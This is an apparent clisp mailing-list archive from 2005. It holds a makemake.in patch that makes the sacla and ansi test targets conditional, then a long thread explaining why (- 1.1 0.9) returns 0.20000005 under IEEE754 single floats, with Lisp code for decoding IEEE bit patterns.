-  echol "check : check-recompile check-fresh-line check-tests check-sacla-tests check-ansi-tests check-ansi-tests-compiled"
-  echodummyrule check
-  echol
+  CHECK_DEPS="check-recompile check-fresh-line check-tests"
 
   echol "# check the sources:"
   echol "# 1. subr.d, fsubr.d, subrkw.d and all the LISPFUNs must add up"
@@ -3146,6 +3142,9 @@
   done
   echol
 
+  # sacla-tests are not included in the source distribution
+  if test -d "${PARENT_SRCTOPDIR_}sacla-tests"; then
+    CHECK_DEPS=${CHECK_DEPS}" check-sacla-tests"
   SACLA_CLISP="../lisp${LEXE} -B .. -M ../lispinit.mem -N ../locale ${someflags} -i tests.lisp"
   echol "check-sacla-tests : ${SACLATESTSDIR} lisp${LEXE} lispinit.mem"
   echotab "cd ${SACLATESTSDIR} && ${SACLA_CLISP} -x '(ext:exit (> (nth-value 1 (run-all-tests)) 0))'"
@@ -3157,7 +3156,11 @@
     echotab "cd ${SACLATESTSDIR} && \$(LN_S) ${PARENT_SRCTOPDIR_}sacla-tests${NEXT_}${f} ."
   done
   echol
+  fi
 
+  # ansi-tests are not included in the source distribution
+  if test -d "${PARENT_SRCTOPDIR_}ansi-tests"; then
+    CHECK_DEPS=${CHECK_DEPS}" check-ansi-tests check-ansi-tests-compiled"
   ANSI_CLISP="../lisp${LEXE} -B .. -M ../lispinit.mem -N ../locale ${someflags} -m 30000KW -ansi -i clispload.lsp"
   echol "check-ansi-tests : ${ANSITESTSDIR} lisp${LEXE} lispinit.mem"
   echotab "cd ${ANSITESTSDIR} && ${ANSI_CLISP} -x '(in-package \"CL-TEST\") (time (regression-test:do-tests)) (ext:exit (regression-test:pending-tests))' 2>&1 | tee ../ansi-tests-log"
@@ -3187,9 +3190,11 @@
   done
   echotab "cd ${ANSITESTSDIR} && \$(LN_S) ${PARENT_SRCTOPDIR_}utils${NEXT_}clispload.lsp ."
   echol
+  fi
 
   # benchmarks are for developers only, and the developers work from the CVS
   if test -d ${SRCTOPDIR}CVS; then
+    CHECK_DEPS=${CHECK_DEPS}" bench"
     echol "bench : ${BENCHDIR}"
     echotab "CLISP=\"${CLISP_}\"; export CLISP; cd ${BENCHDIR}; \$(MAKE) CLISP=\"\$\$CLISP\" clisp"
     echol
@@ -3200,6 +3205,11 @@
     done
     echol
   fi
+
+  echol "# Perform self-tests."
+  echol "check : ${CHECK_DEPS}"
+  echodummyrule check
+  echol
   echol
 fi
 


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Hi,

I haven't encountered such thing before in clisp, but this migh be old
(but I can't find it in archives). I've tested current cvs build right now.

[1]> (- 1.1 0.9)
0.20000005

is not something I was expecting to see, it's almost javascript style ;)
It's the same with (- (+ 1 0.1) (- 1 0.1)) and so on. Error gets bigger
for bigger numbers, as one would suspect, but on the other hand some 
calculations come out ok.
I've played around with code in ffloat.c - FF_FF_minus_FF(). As far as I 
can see, problem seems to be with float_to_FF() "macro". And there's my 
problem - my german is very very poor, so it's hard for me to debug code 
written and commented in german. Has anyone encountered same thing and 
maybe solved it? Or maybe someone here wrote that code?

Best regards,
Mike




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>ouch - sacla-tests are not included in the source distribution
>(only in the CVS tree).
>how about the appended patch?

You still need to remove the now nonexistent targets from the "check"
target, otherwise it bombs. I suggest the following patch instead
(against pristine 2.34 makemake.in):

*** makemake.in.orig	Tue Jul 19 04:01:19 2005
--- makemake.in	Fri Jul 22 23:17:38 2005
***************
*** 3015,3021 ****
  if [ $CROSS = false ] ; then
  
    echol "# Perform self-tests."
!   echol "check : check-recompile check-fresh-line check-tests check-sacla-tests check-ansi-tests check-ansi-tests-compiled"
    echodummyrule check
    echol
  
--- 3015,3031 ----
  if [ $CROSS = false ] ; then
  
    echol "# Perform self-tests."
! 
!   # sacla-tests and ansi-tests are not included in the source distribution
!   extratests=
!   if test -d "${PARENT_SRCTOPDIR_}sacla-tests"; then
!     extratests="$extratests check-sacla-tests"
!   fi
!   if test -d "${PARENT_SRCTOPDIR_}ansi-tests"; then
!     extratests="$extratests check-ansi-tests check-ansi-tests-compiled"
!   fi
!   echol "check : check-recompile check-fresh-line check-tests $extratests"
! 
    echodummyrule check
    echol
  


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michal kabata writes:
> I haven't encountered such thing before in clisp, but this migh be old
> (but I can't find it in archives). I've tested current cvs build right now.
> 
> [1]> (- 1.1 0.9)
> 0.20000005
> 
> is not something I was expecting to see, it's almost javascript style ;)
> It's the same with (- (+ 1 0.1) (- 1 0.1)) and so on. Error gets bigger
> for bigger numbers, as one would suspect, but on the other hand some 
> calculations come out ok.
> I've played around with code in ffloat.c - FF_FF_minus_FF(). As far as I 
> can see, problem seems to be with float_to_FF() "macro". And there's my 
> problem - my german is very very poor, so it's hard for me to debug code 
> written and commented in german. Has anyone encountered same thing and 
> maybe solved it? Or maybe someone here wrote that code?

You may want to use rationals instead of floating-point numbers:

[232]> (- 11/10 9/10)
1/5


Common Lisp is a _practical_ language. Therefore in some aspects it's
very high level (it has rational numbers), but in other aspects it's
designed to be efficient on available hardware therefore it is
specified to use floating-point numbers.  And for good or for evil,
the reader syntax 1.1 and 0.9 correspond to floating-point numbers.
When you write 1.1 or 0.9, you DON'T get 11/10 or 9/10. 
You get: 3F8CCCCD and 3F666666 (hex)
and when you subtract these two floating point numbers, you get:

                        S Exponent     Mantissa

1.1      --> 3F8CCCCD = 0 01111111 (1).00011001100110011001101
                                 = (1).00011001100110011001101  * 2^0

0.9      --> 3F666666 = 0 01111110 (1).11001100110011001100110
                                 = (1).11001100110011001100110  * 2^(-1)
                                 = (0).111001100110011001100110 * 2^0
and:
                                   (1).00011001100110011001101
                                 - (0).111001100110011001100110
                                 ------------------------------
                                 =  0 .00110011001100110011010
                                 = (1).10011001100110011010000  * 2^(-3)
             3E4CCCD0 = 0 01111100 (1).10011001100110011010000 --> 0.20000005


There are various packages that implement reader macros to read
decimal numbers as rational instead of floating-point if you need to
do financial or other exact computations.

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Sam Steingold <sds@gnu.org> writes:

>the previous patch was wrong.
>here is the correct one:

works aswell.

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> * michal kabata <zvpuny@fsverf.arg> [2005-07-22 23:00:49 +0200]:
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> [1]> (- 1.1 0.9)
> 0.20000005

this is a normal round-off error.
Allegro returns the same.

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Pascal Bourguignon <pjb@informatimago.com> writes:

>> [1]> (- 1.1 0.9)
>> 0.20000005
>Common Lisp is a _practical_ language. Therefore in some aspects it's
>very high level (it has rational numbers), but in other aspects it's
>designed to be efficient on available hardware therefore it is
>specified to use floating-point numbers.  And for good or for evil,
>the reader syntax 1.1 and 0.9 correspond to floating-point numbers.
>When you write 1.1 or 0.9, you DON'T get 11/10 or 9/10. 
>You get: 3F8CCCCD and 3F666666 (hex)

Doesn't clisp use C doubles internally?
I also get the 0.20000005 but in a small C program (see below) I get:

% ./a.out
1.1-0.9=0.20000000000000006661

% cat t.c
#include <stdio.h>
int main()
{
    printf("1.1-0.9=%#1.20f\n", 1.1-0.9);
    return 0;
}

mkb.


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Matthias Buelow writes:
> Pascal Bourguignon <pjb@informatimago.com> writes:
> 
> >> [1]> (- 1.1 0.9)
> >> 0.20000005
> >Common Lisp is a _practical_ language. Therefore in some aspects it's
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> >designed to be efficient on available hardware therefore it is
> >specified to use floating-point numbers.  And for good or for evil,
> >the reader syntax 1.1 and 0.9 correspond to floating-point numbers.
> >When you write 1.1 or 0.9, you DON'T get 11/10 or 9/10. 
> >You get: 3F8CCCCD and 3F666666 (hex)
> 
> Doesn't clisp use C doubles internally?

Not by default:

[8]> (- 1.1s0 0.9s0)
0.200005s0
[9]> (- 1.1e0 0.9e0)
0.20000005
[10]> (- 1.1d0 0.9d0)
0.20000000000000007d0
[11]> (- 1.1l0 0.9l0)
0.20000000000000000004L0
[12]> (- 1.1 0.9)
0.20000005


(and setting CUSTOM:*DEFAULT-FLOAT-FORMAT* doesn't seem to have effect
in 2.33.83).

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Sam Steingold wrote:
>>[1]> (- 1.1 0.9)
>>0.20000005
> this is a normal round-off error.
> Allegro returns the same.
> 
It's hardly making me feel better about it. It's still a bug, and quite 
nasty one for lang in which (+ 1/3 1/3 1/3) equals 1. Anyway, if I'll 
manage to fix it I'll send You a patch.

Best regards,
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Hi,

thanks for all the answers, escpecialy to Pascal Bourguignon and 
Matthias Buelow. Just to straighten things out a bit - for me it's not 
the matter of fpu and the way floats are calculated. I've been trying to 
  fight my way around it for few years. It's rather a matter of "I was 
expecting more" from lisp, and seeing same bug as in javascript is.. 
disappointing in a way. I guess I'll have to try using rationals 
somehow. And, just maybe, it would be a nice move to switch to doubles, 
and arrange readers other way round. I guess it would require some 
survey, what users want more by default - precision or speed.

As I wrote, I'll try to think of a way around it, and I hope I'll come 
up with something (like using rationals if output has bigger precision 
then it should basing on input?), and I'll be happy to submit it for you 
to criticise or use.

I keep wondering why I never saw it before...

Best regards
Mike


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main(){printf("%1.8f\n",(float)1.1-(float)0.9);} --> 0.20000005



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On Jul 22, 2005, at 8:06 PM, michal kabata wrote:

> Hi,
>
> thanks for all the answers, escpecialy to Pascal Bourguignon and 
> Matthias Buelow. Just to straighten things out a bit - for me it's not 
> the matter of fpu and the way floats are calculated. I've been trying 
> to  fight my way around it for few years. It's rather a matter of "I 
> was expecting more" from lisp, and seeing same bug as in javascript 
> is.. disappointing in a way. I guess I'll have to try using rationals 
> somehow. And, just maybe, it would be a nice move to switch to 
> doubles, and arrange readers other way round. I guess it would require 
> some survey, what users want more by default - precision or speed.

I think your expectations are too high.  You cannot work around this as 
long as you eventually go down to whichever floating point treatment 
your CPU is offering you.

> As I wrote, I'll try to think of a way around it, and I hope I'll come 
> up with something (like using rationals if output has bigger precision 
> then it should basing on input?), and I'll be happy to submit it for 
> you to criticise or use.

Rationals may pretty much do it for you, but then again, do not expect 
performance.  Rational computations often get in the bignum territory 
pretty fast.  At that point you are in pure software territory.

Cheers

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Marco Antoniotti wrote:
> 
> I think your expectations are too high.  You cannot work around this as 
> long as you eventually go down to whichever floating point treatment 
> your CPU is offering you.
> 
Well, I think my expectations are realistic (rationals can do it for me, 
as you said it yourself), but my point of view may be a bit different.
I find floating point design a faulty idea, so I usualy work my way 
around by avoiding floats. Designing something that must approximate 
values like 1/3 or 1/5 is a bit sick in my opinion.
The bug related to my problem only reinforces my opinion about floats.
Btw, if anyone would be interested why the cursed 1.1 - 0.9 != 0.2, I've 
put two files on the web, that may explain something - 
http://ai.no-ip.org/floats and http://ai.no-ip.org/floats1. Problem 
seems to be in calculation of the exponent, but thats only a first 
impression I got. This is of course more general then only this one 
expression.

> 
> Rationals may pretty much do it for you, but then again, do not expect 
> performance.  Rational computations often get in the bignum territory 
> pretty fast.  At that point you are in pure software territory.
> 
I sure hope so and performance is not what I need, luckly. If I need 
performace I still tend to write in pure C.
I write mostly AI related stuff, and rather the kind that can run even 
few hours longer without causing me any trouble. Therefor I don't need 
high performance but I need reliability, and such errors are something I 
can't allow.

Best regards,
Mike


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michal kabata writes:
> I keep wondering why I never saw it before...

Perhaps because you're not a "Computer Scientist"? ;-)

I should have mentionned:
"What Every Computer Scientist Should Know About Floating-Point Arithmetic"
http://docs.sun.com/source/806-3568/ncg_goldberg.html
too.


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Date: Sat Jul 23 16:36:33 2005
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michal kabata writes:
> Marco Antoniotti wrote:
> > 
> > I think your expectations are too high.  You cannot work around this as 
> > long as you eventually go down to whichever floating point treatment 
> > your CPU is offering you.
> > 
> Well, I think my expectations are realistic (rationals can do it for me, 
> as you said it yourself), but my point of view may be a bit different.
> I find floating point design a faulty idea, so I usualy work my way 
> around by avoiding floats. Designing something that must approximate 
> values like 1/3 or 1/5 is a bit sick in my opinion.
> The bug related to my problem only reinforces my opinion about floats.
> Btw, if anyone would be interested why the cursed 1.1 - 0.9 != 0.2, I've 
> put two files on the web, that may explain something - 
> http://ai.no-ip.org/floats and http://ai.no-ip.org/floats1. Problem 
> seems to be in calculation of the exponent, but thats only a first 
> impression I got. This is of course more general then only this one 
> expression.

It's not so much the exponent that's the problem than the BASE of the
mantisa and the exponent.

First, mathematically and scientifically, there is no problem in 1.1E0
- 0.9E0 giving 2.00000005E0. These are floating point numbers and
they're known not to behave like mathematical real numbers.
Scientific numerical calculations with floating point numbers take
into account these phenomena.

You're teached in physics not to keep more than the number of
significant digits, so if the input is given with 1 digit after the
coma, we compute the formula and keep only one digit after the coma,
so we know that 1.1-0.9 is computed as 1.1E0-0.9E0=2.00000005E0 gives
2.0.

Now, for financial computing and other non-scientific needs, two ways
are implemented to archive expected results.  The first is to automate
te above consideration.  We compute with the 6 significant digits of
float, but at the end we round the result: 

      (* (round (- 1.1 0.9) 0.1) 0.1) --> 0.2

This is what is done by pocket calculators, which usually compute with
13 significant digits but display only 11 significant digits.

The alternative, which was implemented often in early computers, is to
use floating point numbers with decimal base instead of binary base.
Then there's no approximation for base conversion.  For scientific
computing, this makes no difference there still remains the normal
computing errors of all floating points (that's why it has not been
kept, binary numbers are more efficient in a computer), but for simple
business computing it gives seemingly exact results.


> > Rationals may pretty much do it for you, but then again, do not expect 
> > performance.  Rational computations often get in the bignum territory 
> > pretty fast.  At that point you are in pure software territory.
> > 
> I sure hope so and performance is not what I need, luckly. If I need 
> performace I still tend to write in pure C.
> I write mostly AI related stuff, and rather the kind that can run even 
> few hours longer without causing me any trouble. Therefor I don't need 
> high performance but I need reliability, and such errors are something I 
> can't allow.

I bet for your problem the best will be to keep track of the precision
of your numbers and to round the results.  It's not too hard for
simple operations.  If you have long chains of computing, then you
must analyze the error propagation, like for any other numerical
algorithm.

The alternative could be to implement decimal floating point numbers,
but here you're on your own: all contemporaneous floating point
hardware is binary based.  (But most CPU still have a BCD add and subtract).

-- 
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Pascal Bourguignon wrote:
> michal kabata writes:
> 
>>I keep wondering why I never saw it before...
> 
> 
> Perhaps because you're not a "Computer Scientist"? ;-)
> 
Guess again. Anyway, I ment lisp, and possibly correct guess should be 
that I have too little experience with lisp and too high opinion about 
those who write it.

> I should have mentionned:
> "What Every Computer Scientist Should Know About Floating-Point Arithmetic"
> http://docs.sun.com/source/806-3568/ncg_goldberg.html
> too.
> 
Oh please...

Anyway, I ment to end this discussion and I hope this is the last try. 
Thanks for all work-around ideas. I wrote the first email with silly 
hope that you just might be interested in a fact that clisp is _making 
an error_ (like most other langs, ok - but is that excause?). I guess 
OpenSource on one side and pride on the other. I can understand your way 
of thinking, someone who reports such trivial bug must be an idiot who 
you can insult all the way. I would be very happy to report any more 
serious bugs inf future, but so happened that I encounter this one, and 
in my opinion _in lisp_ this is a bug. Remember all those fantastic 
words in most books about lisp that "lisp is always doing the right 
thing with numbers"? Well it does not in this case.

BTW:
- mathematically 1.1-0.9 is not greater or less then 0.2, just equal, so 
don't say that such computation is correct mathematically. And if 
something is behaving not like mathematical number then how could it be 
mathematically correct?
- base is very very related to "calculation of the exponent", thats why 
I wrote about calculation, not the exponent
- if you are teached in physics not to do it, then why clisp does it? 
for basics operations (-,+,*) I can't see the need to keep garbage after 
the digits you expect in result

So again, for me this is EOT. Since I'm begining to get more insults 
that meritoric answers and I don't see anyone interested in fixing this.

Best regards,
Mike


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Date: Sun Jul 24 02:16:10 2005
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michal kabata writes:
> Pascal Bourguignon wrote:
> > michal kabata writes:
> > 
> >>I keep wondering why I never saw it before...
> > 
> > 
> > Perhaps because you're not a "Computer Scientist"? ;-)
This is a smiley-------------------------------------->^^^

> Guess again. Anyway, I ment lisp, and possibly correct guess should be 
> that I have too little experience with lisp and too high opinion about 
> those who write it.
> 
> > I should have mentionned:
> > "What Every Computer Scientist Should Know About Floating-Point Arithmetic"
> > http://docs.sun.com/source/806-3568/ncg_goldberg.html
> > too.
> > 
> Oh please...
> 
> Anyway, I ment to end this discussion and I hope this is the last try. 
> Thanks for all work-around ideas. I wrote the first email with silly 
> hope that you just might be interested in a fact that clisp is _making 
> an error_ (like most other langs, ok - but is that excause?). I guess 
> OpenSource on one side and pride on the other. I can understand your way 
> of thinking, someone who reports such trivial bug must be an idiot who 
> you can insult all the way. I would be very happy to report any more 
> serious bugs inf future, but so happened that I encounter this one, and 
> in my opinion _in lisp_ this is a bug. Remember all those fantastic 
> words in most books about lisp that "lisp is always doing the right 
> thing with numbers"? Well it does not in this case.
> 
> BTW:
> - mathematically 1.1-0.9 is not greater or less then 0.2, just equal, so 
> don't say that such computation is correct mathematically. And if 
> something is behaving not like mathematical number then how could it be 
> mathematically correct?

You don't understand what I mean because you don't take into account
the notation.

In maths, when you write 1.1 you may mean one of two things. Either
the element of Q=Z/Z*, or the element of R.  Happily, there are
isomorphisms betweeb Z/Z* and a subset of R, in which happily 1.1
belong, and therefore people often forget which one they refer to when
they write 1.1.

Now, in IEEE754 arithmetic, there is no 1.1 number.  This is the
reason why (- 1.1 0.9) doesn't give the result you want.  This is due
to the fact that the set of numbers in floating points data types are
generated from base two, and you've noted a number in base ten.


(Keep in mind when reading the following sums that only the left hand
side of ~= is exact mathematics.  What's on the right hand side  is an
aproximation in base ten.  The last value of the right hand side is
computed from the rational on the left hand side, not as the sum of
the above numbers for these above numbers are truncated by the lack of
precision of double-float!)


[48]> (compute-bin-float "1.00011001100110011001101")
1.00011001100110011001101 
= 1
+ 0 * 2^ -1 = 0                              ~=      0.00000000000000000
+ 0 * 2^ -2 = 0                              ~=      0.00000000000000000
+ 0 * 2^ -3 = 0                              ~=      0.00000000000000000
+ 1 * 2^ -4 = 1/16                           ~=      0.06250000000000000
+ 1 * 2^ -5 = 1/32                           ~=      0.03125000000000000
+ 0 * 2^ -6 = 0                              ~=      0.00000000000000000
+ 0 * 2^ -7 = 0                              ~=      0.00000000000000000
+ 1 * 2^ -8 = 1/256                          ~=      0.00390625000000000
+ 1 * 2^ -9 = 1/512                          ~=      0.00195312500000000
+ 0 * 2^-10 = 0                              ~=      0.00000000000000000
+ 0 * 2^-11 = 0                              ~=      0.00000000000000000
+ 1 * 2^-12 = 1/4096                         ~=      0.00024414062500000
+ 1 * 2^-13 = 1/8192                         ~=      0.00012207031250000
+ 0 * 2^-14 = 0                              ~=      0.00000000000000000
+ 0 * 2^-15 = 0                              ~=      0.00000000000000000
+ 1 * 2^-16 = 1/65536                        ~=      0.00001525878906250
+ 1 * 2^-17 = 1/131072                       ~=      0.00000762939453125
+ 0 * 2^-18 = 0                              ~=      0.00000000000000000
+ 0 * 2^-19 = 0                              ~=      0.00000000000000000
+ 1 * 2^-20 = 1/1048576                      ~=      0.00000095367431641
+ 1 * 2^-21 = 1/2097152                      ~=      0.00000047683715820
+ 0 * 2^-22 = 0                              ~=      0.00000000000000000
+ 1 * 2^-23 = 1/8388608                      ~=      0.00000011920928955
= 9227469/8388608                            ~=      1.10000002384185800
9227469/8388608
[49]> (compute-bin-float "1.00011001100110011001100")
1.00011001100110011001100 
= 1
+ 0 * 2^ -1 = 0                              ~=      0.00000000000000000
+ 0 * 2^ -2 = 0                              ~=      0.00000000000000000
+ 0 * 2^ -3 = 0                              ~=      0.00000000000000000
+ 1 * 2^ -4 = 1/16                           ~=      0.06250000000000000
+ 1 * 2^ -5 = 1/32                           ~=      0.03125000000000000
+ 0 * 2^ -6 = 0                              ~=      0.00000000000000000
+ 0 * 2^ -7 = 0                              ~=      0.00000000000000000
+ 1 * 2^ -8 = 1/256                          ~=      0.00390625000000000
+ 1 * 2^ -9 = 1/512                          ~=      0.00195312500000000
+ 0 * 2^-10 = 0                              ~=      0.00000000000000000
+ 0 * 2^-11 = 0                              ~=      0.00000000000000000
+ 1 * 2^-12 = 1/4096                         ~=      0.00024414062500000
+ 1 * 2^-13 = 1/8192                         ~=      0.00012207031250000
+ 0 * 2^-14 = 0                              ~=      0.00000000000000000
+ 0 * 2^-15 = 0                              ~=      0.00000000000000000
+ 1 * 2^-16 = 1/65536                        ~=      0.00001525878906250
+ 1 * 2^-17 = 1/131072                       ~=      0.00000762939453125
+ 0 * 2^-18 = 0                              ~=      0.00000000000000000
+ 0 * 2^-19 = 0                              ~=      0.00000000000000000
+ 1 * 2^-20 = 1/1048576                      ~=      0.00000095367431641
+ 1 * 2^-21 = 1/2097152                      ~=      0.00000047683715820
+ 0 * 2^-22 = 0                              ~=      0.00000000000000000
+ 0 * 2^-23 = 0                              ~=      0.00000000000000000
= 2306867/2097152                            ~=      1.09999990463256840
2306867/2097152
[50]> (compute-bin-float "0.11100110011001100110011")
0.11100110011001100110011 
= 0
+ 1 * 2^ -1 = 1/2                            ~=      0.50000000000000000
+ 1 * 2^ -2 = 1/4                            ~=      0.25000000000000000
+ 1 * 2^ -3 = 1/8                            ~=      0.12500000000000000
+ 0 * 2^ -4 = 0                              ~=      0.00000000000000000
+ 0 * 2^ -5 = 0                              ~=      0.00000000000000000
+ 1 * 2^ -6 = 1/64                           ~=      0.01562500000000000
+ 1 * 2^ -7 = 1/128                          ~=      0.00781250000000000
+ 0 * 2^ -8 = 0                              ~=      0.00000000000000000
+ 0 * 2^ -9 = 0                              ~=      0.00000000000000000
+ 1 * 2^-10 = 1/1024                         ~=      0.00097656250000000
+ 1 * 2^-11 = 1/2048                         ~=      0.00048828125000000
+ 0 * 2^-12 = 0                              ~=      0.00000000000000000
+ 0 * 2^-13 = 0                              ~=      0.00000000000000000
+ 1 * 2^-14 = 1/16384                        ~=      0.00006103515625000
+ 1 * 2^-15 = 1/32768                        ~=      0.00003051757812500
+ 0 * 2^-16 = 0                              ~=      0.00000000000000000
+ 0 * 2^-17 = 0                              ~=      0.00000000000000000
+ 1 * 2^-18 = 1/262144                       ~=      0.00000381469726562
+ 1 * 2^-19 = 1/524288                       ~=      0.00000190734863281
+ 0 * 2^-20 = 0                              ~=      0.00000000000000000
+ 0 * 2^-21 = 0                              ~=      0.00000000000000000
+ 1 * 2^-22 = 1/4194304                      ~=      0.00000023841857910
+ 1 * 2^-23 = 1/8388608                      ~=      0.00000011920928955
= 7549747/8388608                            ~=      0.89999997615814210
7549747/8388608
[51]> (compute-bin-float "0.11100110011001100110100")
0.11100110011001100110100 
= 0
+ 1 * 2^ -1 = 1/2                            ~=      0.50000000000000000
+ 1 * 2^ -2 = 1/4                            ~=      0.25000000000000000
+ 1 * 2^ -3 = 1/8                            ~=      0.12500000000000000
+ 0 * 2^ -4 = 0                              ~=      0.00000000000000000
+ 0 * 2^ -5 = 0                              ~=      0.00000000000000000
+ 1 * 2^ -6 = 1/64                           ~=      0.01562500000000000
+ 1 * 2^ -7 = 1/128                          ~=      0.00781250000000000
+ 0 * 2^ -8 = 0                              ~=      0.00000000000000000
+ 0 * 2^ -9 = 0                              ~=      0.00000000000000000
+ 1 * 2^-10 = 1/1024                         ~=      0.00097656250000000
+ 1 * 2^-11 = 1/2048                         ~=      0.00048828125000000
+ 0 * 2^-12 = 0                              ~=      0.00000000000000000
+ 0 * 2^-13 = 0                              ~=      0.00000000000000000
+ 1 * 2^-14 = 1/16384                        ~=      0.00006103515625000
+ 1 * 2^-15 = 1/32768                        ~=      0.00003051757812500
+ 0 * 2^-16 = 0                              ~=      0.00000000000000000
+ 0 * 2^-17 = 0                              ~=      0.00000000000000000
+ 1 * 2^-18 = 1/262144                       ~=      0.00000381469726562
+ 1 * 2^-19 = 1/524288                       ~=      0.00000190734863281
+ 0 * 2^-20 = 0                              ~=      0.00000000000000000
+ 1 * 2^-21 = 1/2097152                      ~=      0.00000047683715820
+ 0 * 2^-22 = 0                              ~=      0.00000000000000000
+ 0 * 2^-23 = 0                              ~=      0.00000000000000000
= 1887437/2097152                            ~=      0.90000009536743160
1887437/2097152
0.89999997615814210
So why don't you ask:
[52]> (- 1.10000002384185800L0  0.89999997615814210L0)
0.20000004768371590006L0
[53]> (- 1.09999990463256840L0  0.90000009536743160L0)
0.19999980926513680001L0
instead of (- 1.1 0.9) ?

I hear you say that what you want is 1.1, but the problem is that
there's no way of representing 1.1 with IEEE754 floating point
numbers!  The closer you can come are one of these two numbers I
represent in base ten: 1.10000002384185800L0 or 1.09999990463256840L0.

Since 1.10000002384185800L0 is closer, you should not be surprized
that the convertion routine choose this number to represent 1.1L0.
And since 0.89999997615814210 is closer to 0.9L0, it's the one choosen.
Therefore you get the exact result 0.20000004768371590006L0
(or 0.20000005 when working with signle floats).



> - base is very very related to "calculation of the exponent", thats why 
> I wrote about calculation, not the exponent

> - if you are teached in physics not to do it, then why clisp does it? 

clisp does it because it's what is specified by Common Lisp.

Common Lisp does it because the people who designed it constated that
implementors did all implement the notation 1.1 to mean the floating
point number whose value is closest to the mathematical real 1.1.

Implementors all did this because their customers all asked for it.
People with serrious budget to do serrious work with computer
workstations that costed at the time around $200,000.00 or more.

And the reason why computers don't compute as we do, is that it's not
efficient to do it as we do.  If you need it, you can implement the
arithmetic algorithms we use in a computer.  But you'll run thousands
or millions times slower than a IEEE floating point unit.  It may not
matter for you, but for these serrious people who did nuclear
explosion simulations or who programmed misile autopilot CPU, it was
important to get the results fast.



> for basics operations (-,+,*) I can't see the need to keep garbage after 
> the digits you expect in result
> 
> So again, for me this is EOT. Since I'm begining to get more insults 
> that meritoric answers and I don't see anyone interested in fixing this.

Feel less insulted and try to learn more.


(defmacro wsiosbp (&body body)
  (let ((vpack (gensym)))
    `(let ((,vpack *package*))
       (with-standard-io-syntax
           (let ((*package* ,vpack))
             ,@body)))))


(defmacro gen-ieee-encoding (name type exponent-bits mantissa-bits)
  ;; Thanks to ivan4th (~ivan_iv@nat-msk-01.ti.ru) for correcting an off-by-1
  (wsiosbp
   `(progn
      (defun ,(intern (format nil "~A-TO-IEEE-754" name))  (float)
        (multiple-value-bind (mantissa exponent sign) 
            (integer-decode-float float)
          (dpb (if (minusp sign) 1 0)
               (byte 1 ,(1- (+ exponent-bits mantissa-bits)))
               (dpb (+ ,(+ (- (expt 2 (1- exponent-bits)) 2) mantissa-bits)
                       exponent)
                    (byte ,exponent-bits ,(1- mantissa-bits))
                    (ldb (byte ,(1- mantissa-bits) 0) mantissa)))))
      (defun ,(intern (format nil "IEEE-754-TO-~A" name))  (ieee)
        (let ((aval (scale-float
                     (coerce
                      (dpb 1 (byte 1 ,(1- mantissa-bits))
                           (ldb (byte ,(1- mantissa-bits) 0) ieee))
                      ,type)
                     (- (ldb (byte ,exponent-bits ,(1- mantissa-bits))
                             ieee) 
                        ,(1- (expt 2 (1- exponent-bits)))
                        ,(1- mantissa-bits)))))
          (if (zerop (ldb (byte 1 ,(1- (+ exponent-bits mantissa-bits))) ieee))
            aval
            (- aval)))))))


(gen-ieee-encoding float-32 'single-float  8 24)
(gen-ieee-encoding float-64 'double-float 11 53)


(defun test-ieee-read-double ()
  (with-open-file (in "value.ieee-754-double" 
                      :direction :input :element-type '(unsigned-byte 8))
    (loop while (< (file-position in) (file-length in))
          do (loop repeat 8 for i = 1 then (* i 256)
                   for v = (read-byte in) then (+ v (* i (read-byte in))) 
                   finally (progn
                             (let ((*print-base* 16)) (princ v))
                             (princ " ")
                             (princ (IEEE-754-TO-FLOAT-64 v))
                             (terpri))))))

(defun test-ieee-read-single ()
  (with-open-file (in "value.ieee-754-single" 
                      :direction :input :element-type '(unsigned-byte 8))
    (loop while (< (file-position in) (file-length in))
          do (loop repeat 4 for i = 1 then (* i 256)
                   for v = (read-byte in) then (+ v (* i (read-byte in))) 
                   finally (progn
                             (let ((*print-base* 16)) (princ v))
                             (princ " ")
                             (princ (IEEE-754-TO-FLOAT-32 v))
                             (terpri))))))

(defun test-single-to-ieee (&rest args)
  (dolist (arg args)
    (format t "~16,8R ~A~%" 
            (float-32-to-ieee-754 (coerce arg 'single-float)) arg)))

(defun test-double-to-ieee (&rest args)
  (dolist (arg args)
    (format t "~16,16R ~A~%" 
            (float-64-to-ieee-754 (coerce arg 'double-float)) arg)))


(defun convert-to-binary (number significant-digits)
  (multiple-value-bind (int dec) (truncate number)
    (format nil "~2R.~{~:[0~;1~]~}"
            int
            (loop with digits = '()
                  repeat significant-digits
                  do (multiple-value-bind (digit rest) (truncate (* 2 dec))
                       (push (oddp digit) digits)
                       (setf dec rest))
                  finally (return (nreverse digits))))))

(defun compute-bin-float (value)
  "1.00011001100110011001101"
  (flet ((rat-to-bin (n)
                     (/ (coerce (NUMERATOR   n) 'DOUBLE-float)
                        (coerce (DENOMINATOR n) 'DOUBLE-float))))
    (let ((dot (position (character ".") value)))
      (if dot
        (loop with integer-part = (parse-integer value :radix 2 :end dot
                                                 :junk-allowed nil)
              with decimal-part = 0
              initially (format t "~A ~%= ~A~%" value integer-part)
              for exponent from -1 by -1
              for digit across (subseq value (1+ dot))
              for weight = (/ (digit-char-p digit) (expt 2 (- exponent)))
              do (format t "+ ~1A * 2^~3D = ~30A ~~= ~24,17F~%"
                         digit exponent weight (rat-to-bin weight))
              (incf decimal-part weight)
              finally (format t "= ~42A ~~= ~24,17F"
                              (+ integer-part decimal-part)
                              (rat-to-bin  (+ integer-part decimal-part)))
              (return (+ integer-part decimal-part)))
        (let ((integer-part (parse-integer value :radix 2 :junk-allowed nil)))
          (format t "~A is a binary integer worth ~A" value integer-part)
          integer-part)))))

(convert-to-binary 9/10)
(compute-bin-float "1.00011001100110011001101")


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   From: michal kabata <michal@sfires.net>
   Date: Sun, 24 Jul 2005 10:02:00 +0200
   ... clisp is _making an error_ ...

For the record, it is no error.  Lisp offers access to the
bare floating point hardware and CLISP keeps that promise.

		Peace
			--Devon

PS: Rationals are there, the choice is yours.

PPS: Yes, I repeat up front what PJB said in the middle of a long message.

PPPS: I am curious, does anyone have a numeric "measurement" datatype
which preserves error information, e.g., value with accuracy,
increasing and decreasing precision as needed?
I've been expecting it in calculators
since the HP-35 but these days
I calculate rarely.

PPPPS: More elaborately, one might represent a measurement as a Gaussian
whose shape would likely become quite nightmarish
after only a few computations but
we have the cycles!
Perhaps such a proposal is best documented on the first of April?


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I seem to be having problems with readline (no command history or 
completion) after compiling 2.34 from source.  The Clisp Debian
package however still works fine.

Running Debian Testing:
Linux Bast 2.4.18-bf2.4 #1 Son Apr 14 09:53:28 CEST 2002 i686 GNU/Linux

Any ideas?

